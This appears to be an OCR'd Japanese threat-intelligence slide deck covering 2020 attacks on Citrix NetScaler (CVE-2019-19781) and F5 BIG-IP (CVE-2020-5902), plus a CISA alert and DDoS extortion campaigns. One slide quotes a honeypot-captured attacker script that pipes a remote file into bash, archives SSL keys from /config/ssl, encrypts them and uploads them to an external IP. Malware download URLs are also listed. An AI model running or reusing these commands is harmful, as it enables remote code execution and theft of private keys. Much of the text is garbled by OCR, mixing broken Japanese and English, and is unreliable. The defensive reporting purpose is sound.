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BEt5R . $9250005
Country Total Vulnerable Hosts

United States oss0] M HAEWR : #2308
Sy 2219 — BadPacketft IR

United Kingdom 2,028

Switzerland 1,094 (2020£|E 1% H%/\\\)

H

Australia 1,076
Netherlands 713
Canada 682
France it |
Italy 568
Norway 446
All Others 5533

H#8 : Over 25,000 Citrix (NetScaler) endpoints
vulnerable to CVE-2019-19781
https://badpackets.net/over-25000-citrix-netscaler-
endpoints-vulnerable-to-cve-2019-19781/
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v roxn B FoxitDFEICLDE. it
A Second Look at CVE-2019-19781 (Citrix %TB 322 =, E 2& X W t\\48

NetScaler / ADC)

July 1, 2020 _LAD \‘ éﬂq t( \7_ \1’] '
Authors: Rich Warren of NCC Group FSAS & Yun Zheng Hu of Fox-IT, in close collaboration with Fox-IT's RIFT.
About the Research and Intelligence Fusion Team (RIFT): @ 5 6J a H \Ij- 2\

RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and

“ZC“Z;"Z’&,”“’“ Compromised Citrix Servers - June 2020

contin late
Group operates aq Top 20 countries with most compromised Citrix servers \
powerful detection A total of 3332 compromised Citrix servers were identified in the wild
z
1 AN ?ﬂgIES(‘J“ ) t,\%iﬁb\ 4~
In this blog post we Germany 147 - ’ AY R

this issue has been france - 140

event seco y _ — Ab ‘
pr ndary tal B 1o¢ 7_ N |
= S E E (TR TLVRL AT
CVE-2019-19781, China - 104
Australia - 104
Brazil -52

- |

id

Netherlands [ 39
Sweden E 36
Norway . 33

Korea, Republic of [ 33

spain 32

Russian Federation I 3z

Belgium I 32
United Arab Emirates [ 31
0

H# : A Second Look at CVE-2019-19781 (Citrix NetScaler / ADC)
https://blog.fox-it.com/2020/07/01/a-second-look-at-cve-2019-19781-
citrix-netscaler-adc/
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HiB8 : A Second Look at CVE-2019-19781 (Citrix NetScaler / ADC)
https://blog.fox-it.com/2020/07/01/a-second-look-at-cve-2019-19781-citrix-netscaler-adc/
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W 2020 7H6H (CARAes

L W NiiEE]
DEA|

Bad Packets e
@bad_packets

Active DDoS malware payload detected:
http://panel.devilsden[.]net/iot.sh
http://185.172.111.233:999/sisi/*
(virustotal.com/gui/url/d855d7...)

Exploit attempt source IP: 2.57.122.96 (I'D)

Target: F5 BIG-IP TMUI RCE vulnerability CVE-2020-5902

(badpackets.net/over-1800-f5-b...) #threatintel
YA~ EEIR

HE : Bad Packets M Tweet

https://twitter.com/bad_packets/status/12799
864413851729937s=20
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FZIRICUTERAF+ > DEE
YDITORXTOA b1— RZZEER UTzBotnet(Mirai)

Mirai Botnet Exploit Weaponized to Attack IoT Devices via
CVE-2020-5902

Posted on: July 28, 2020 at 457 am  Posted in: Botnets, Exploits, Vulnerabilities
Author: Fernando Mercés (Senior Threat Researcher)

Update as of 10:00 A.M. PST, July 30, 2020: Our continued
analysis of the malware sample showed adjustments to the
details involving the UR! and Shodan scan parameters. We
made the necessary changes in this post. We would like to thank
F5 Networks for reaching out to us to clarify these details.

With additional insights from Jemimah Molina and Augusto
Remillano Il

Following the initial disclosure of two F5 BIG-IP vulnerabilities on the first week of July, we
continued moenitoring and analyzing the vulnerabilities and other related activities to further
understand their severities. Based on the workaround published for CVE-2020-56902, we found an
internet of things (loT) Mirai botnet downloader (detected by Trend Micro as Trojan.SH.MIRAI.BOI)
that can be added to new malware variants to scan for exposed Big-IP boxes for intrusion and
deliver the malicious payload.

HiE#8 : Mirai Botnet Exploit Weaponized to Attack loT
Devices via CVE-2020-5902
https://blog.trendmicro.com/trendlabs-security-
intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-
devices-via-cve-2020-5902/
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EIEEIEROEN. EEEHFRIEYILD T 7 DREZ
5’751 Ex R
BJPCERT/CCTCH. A2 —3RY FEREVAI> X7 A
(TSUBAME) (CC. 9 CICIBEENTWVWBAEEMONS
EETTIPY? RL AW 5Port23/TCP (telnet) FEMDIE{E%

22pil

Summary of CVE-2020-5902 F5 BIG-IP RCE Vulnerability Exploits More Complex Payloads and Miners
Published: 2020-07-06
Last Updated: 2020-07-07 16:29:52 UTC - E As of July 14th, 2020 we are seeing an actor deploy the following.

by Johannes Ullrich (Version: 1)

2 comment(s)
// firmwareupdate.php

Our honeypots have been busy collecting exploit attempts for CVE-2020-5902, the F5 Networks BiglP vulnerability patched last curl http://148.251.87.169/metrics.php | bash > /tmp/f5_reconfig.txt;

week. Most of the exploits can be considered recognizance. We only saw one working exploit installing a backdoor. Badpackets tar -czvf /tmp/ssl.tar.gz /config/ssl/;
reported seeing a DDoS bot being installed. tar -czvf /tmp/f5_metadata.tar.gz /tmp/f5_reconfig.txt /tmp/ssl.tar.gz;
Thanks to Renato for creating a partial map of the IPs hitting our honeypot so far: rm /tmp/ssl.tar.gz /tmp/f5_reconfig.txt;

openssl enc -in /tmp/f5_metadata.tar.gz -out /tmp/enc.dat -e -aes256 -k
curl -F "dnscache=@/tmp/enc.dat" http://148.251.87.169/dnscacheresolve.f
rm /tmp/f5_metadata.tar.gz /tmp/enc.dat

// metrics.php
#!/bin/bash

HE# : Summary of CVE-2020-5902 F5 BIG-IP H# : RIFT: F5 Networks K52145254: TMUI RCE
RCEVulnerabilityExploits vulnerability CVE-2020-5902 Intelligence
https://isc.sans.edu/diary/rss/26316 https://research.nccgroup.com/2020/07/05/rift-f5-

networks-k52145254-tmui-rce-vulnerability-cve-2020-
5902-intelligence/
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Country Total Vulnerable Hosts

United States 1,237 BMEHEFR  : $93000&8
s 90 mEAER : 1604
Taiwan 144

Thailand 114

South Korea 91

Malaysia 80

Philippines 79

Indonesia 72

Brazil 65

lJapan 60|

Hi88 : Over 3,000 F5 BIG-IP endpoints vulnerable to CVE-2020-5902/
https://badpackets.net/over-3000-f5-big-ip-endpoints-vulnerable-to-cve-2020-
5902/

INEY
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W 2020
— 07/01 F5 Networkstth'iess 4 EER%= 226
— 07/05 =5Ed— K (PoC) MR Ve 4H
— 07/06 {EH8FREBH eSS DIRE. EBADORITEHIA
JPCERT/CC /F=Mifc z=¥4T (H/3R)
PO SRAB (4B BB XD Z Bt

— 07/24 CISA &M (Alert (AA20-206A))

Alert (AA20-206A) More Alets
Threat Actor Exploitation of F5 BIG-IP CVE-2020-5902

n

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is issuing this alert in response to recently disclosed exploits that target F5 BIG-IP devices that are
vulnerable to CVE-2020-5802. F5 Networks, Inc. (F5) released a patch for CVE-2020-5902 on June 30, 2020.[1] Unpatched F5 BIG-IP devices are an attractive
target for malicious actors. Affected organizations that have not applied the patch to fix this critical remote code execution (RCE) vulnerability risk an attacker
exploiting CVE-2020-5902 to take control of their system. Note: F5's security advisory for CVE-2020-5902 states that there is a high probability that any
remaining unpatched devices are likely already compromised.

CISA expects to see continued attacks exploiting unpatched F5 BIG-IP devices and strongly urges users and administrators to upgrade their software to the fixed
Versions. CISA also advises thal adminisirators deploy the signature included in ths Alert{o help them determine whether their systems have been
compromised.

This Alert also provides additional detection measures and mitigations for victim organizations to help recover from attacks resulting from CVE-2020-5902. CISA
encourages to remain aware of the ificati f exploitation and to use the recommendations in this alert to help secure their organization's
systems against attack.

Hi88 : Threat Actor Exploitation of F5 BIG-IP CVE-2020-5902
https://us-cert.cisa.gov/ncas/alerts/aa20-206a
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JPCERT/CC CyberNewsFlash¥1T
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B SAP NetWeaver Application Server JavaDHE55 4%
2020/07/14 Hes51%1E#H (CVE-2020-6287) G4
JPCERT/CC CyberNewsFlash¥1T
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DDoS blackmail is a global phenomenon

It was only in mid-August that the LSOC registered a global wave of DDoS blackmail attacks against operators of
critical infrastructure, especially in the financial sector. The perpetrators called themselves "Fancy Bear". The LSOC

says it's unclear whether Fancy Bear and Armada Collective are the same perpetrators. While the extortion letters
differ in wording and the ransom amount, both senders use the same e-mail provider. The two groups have been
linked to long-running DDoS attacks on the New Zealand Stock Exchange. They are also said to be responsible for
blackmailing PayPal and MoneyGram.

Hi#2: Armada Collective: DDoS Blackmailers Attack the Hosting Industry
https://www.link11.com/en/blog/threat-landscape/armada-collective-ddos-extortion/

RANSOM DEMANDS RETURN: NEW DDOS EXTORTION
THREATS FROM OLD ACTORS TARGETING FINANCE AND
RETAIL

i #2 : Ransom Demands Return: New DDoS Extortion Threats From Old Actors Targeting Finance and
Retail https://blogs.akamai.com/sitr/2020/08/ransom-demands-return-new-ddos-extortion-threats-from-
old-actors-targeting-finance-and-retail.html

Just this week, the group has attacked money transfer service
MoneyGram, YesBank India, Worldpay, PayPal, Brainiree,
and Venmo, a source involved in the DDoS mitigation field has
told ZDNet.

The New Zealand stock exchange (NZX), which halted trading for
the third day in a row today, is also one of the group's victims.
i #2:DDoS extortionists target NZX, Moneygram, Braintree, and other financial servicesIndustry

https://www.zdnet.com/article/ddos-extortionists-target-nzx-moneygram-braintree-and-
other-financial-services/
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